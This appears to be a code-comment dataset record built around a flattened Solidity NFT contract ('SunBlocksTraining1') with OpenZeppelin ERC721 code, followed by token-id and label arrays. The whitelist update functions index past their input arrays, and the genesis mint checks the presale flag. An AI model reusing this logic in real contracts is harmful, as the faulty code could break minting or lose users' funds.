* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/utils/Pausable.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SunBlocksTraining1 is ERC721Enumerable, Ownable, RandomlyAssigned {
using Strings for uint256;
string public baseExtension = ".json";
uint256 public cost = 0.042 ether;
uint256 public maxBlocksSupply = 5555;
uint256 public maxPresaleMintAmount = 5;
uint256 public maxMintAmount = 10;
bool public isPresaleActive = false;
bool public isFreeMintActive = false;
bool public isPublicSaleActive = false;
// bool public paused = false;
// bool public publicPaused = true;
uint public freeMintSupplyMinted = 0;
uint public freeMintMaxSupply = 1130; //1110 SunGapers + 20 SunGap Collectors whitelisted in fremintList
uint public genesisSupplyMinted = 0;
uint public genesisMaxSupply = 555; //555 Genesis items Collectors whitelisted in genesisFremintList
uint public publicSupplyMinted = 0; //Used for public and whitelist mints
uint public publicMaxSupply = 3870; //Used for public and whitelist mints
mapping(address => uint256) public whitelist;
mapping(address => uint256) public freeMintWhitelist;
mapping(address => uint256) public genesisWhitelist;
uint public numberWhitlisted = 0;
uint public numberFreeMintWhitlisted = 0;
string public baseURI;
constructor(
) ERC721("SunBlocksTraining1", "SBLOCKST1")
RandomlyAssigned(5555, 1) {
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function mint(uint256 _mintAmount) public payable {
require(isPublicSaleActive, "Public Sale is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(totalSupply() + _mintAmount <= maxBlocksSupply);
require(publicSupplyMinted + _mintAmount <= publicMaxSupply);
require(msg.value >= cost * _mintAmount);
for (uint256 i = 1; i <= _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
}
publicSupplyMinted = publicSupplyMinted + _mintAmount;
}
function presaleMint(uint256 _mintAmount) external payable {
require(isPresaleActive, "Presale is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxPresaleMintAmount);
require(totalSupply() + _mintAmount <= maxBlocksSupply);
require(publicSupplyMinted + _mintAmount <= publicMaxSupply);
require(msg.value >= cost * _mintAmount);
uint256 senderLimit = whitelist[msg.sender];
require(senderLimit > 0, "You have no tokens left");
require(_mintAmount <= senderLimit, "Your max token holding exceeded");
for (uint256 i = 0; i < _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
senderLimit -= 1;
}
publicSupplyMinted = publicSupplyMinted + _mintAmount;
whitelist[msg.sender] = senderLimit;
}
function freeMint(uint256 _mintAmount) external payable {
require(isFreeMintActive, "Freemint is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(totalSupply() + _mintAmount <= maxBlocksSupply);
require(freeMintSupplyMinted + _mintAmount <= freeMintMaxSupply);
uint256 senderLimit = freeMintWhitelist[msg.sender];
require(senderLimit > 0, "You have no tokens left");
require(_mintAmount <= senderLimit, "Your max token holding exceeded");
for (uint256 i = 0; i < _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
senderLimit -= 1;
}
freeMintSupplyMinted = freeMintSupplyMinted + _mintAmount;
freeMintWhitelist[msg.sender] = senderLimit;
}
function genesisFreeMint(uint256 _mintAmount) external payable {
require(isPresaleActive, "Genesis Freemint is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(totalSupply() + _mintAmount <= maxBlocksSupply);
require(genesisSupplyMinted + _mintAmount <= genesisMaxSupply);
uint256 senderLimit = genesisWhitelist[msg.sender];
require(senderLimit > 0, "You have no tokens left");
require(_mintAmount <= senderLimit, "Your max token holding exceeded");
for (uint256 i = 0; i < _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
senderLimit -= 1;
}
genesisSupplyMinted = genesisSupplyMinted + _mintAmount;
genesisWhitelist[msg.sender] = senderLimit;
}
function addWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
for (uint256 i = 0; i < _addrs.length; i++) {
whitelist[_addrs[i]] = _limit[i];
numberWhitlisted++;
}
}
function addFreeMintWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
for (uint256 i = 0; i < _addrs.length; i++) {
freeMintWhitelist[_addrs[i]] = _limit[i];
numberFreeMintWhitlisted++;
}
}
function updateWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
uint256 whitelistLength = numberWhitlisted;
for (uint256 i = whitelistLength; i < _addrs.length+whitelistLength; i++) {
whitelist[_addrs[i]] = _limit[i];
numberWhitlisted++;
}
}
function updateFreeMintWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
uint256 freeMintWhitelistLength = numberFreeMintWhitlisted;
for (uint256 i = freeMintWhitelistLength; i < _addrs.length+freeMintWhitelistLength; i++) {
freeMintWhitelist[_addrs[i]] = _limit[i];
numberFreeMintWhitlisted++;
}
}
function addGenesisMintWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
for (uint256 i = 0; i < _addrs.length; i++) {
genesisWhitelist[_addrs[i]] = _limit[i];
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function togglePresaleStatus() external onlyOwner {
isPresaleActive = !isPresaleActive;
}
function toggleFreeMintStatus() external onlyOwner {
isFreeMintActive = !isFreeMintActive;
}
function togglePublicSaleStatus() external onlyOwner {
isPublicSaleActive = !isPublicSaleActive;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | 555 Genesis items Collectors whitelisted in genesisFremintList
| uint public genesisMaxSupply = 555; | 5,963,118 | [
1,
2539,
25,
31637,
1516,
13994,
26944,
316,
21906,
42,
2764,
474,
682,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2254,
1071,
21906,
2747,
3088,
1283,
273,
1381,
2539,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
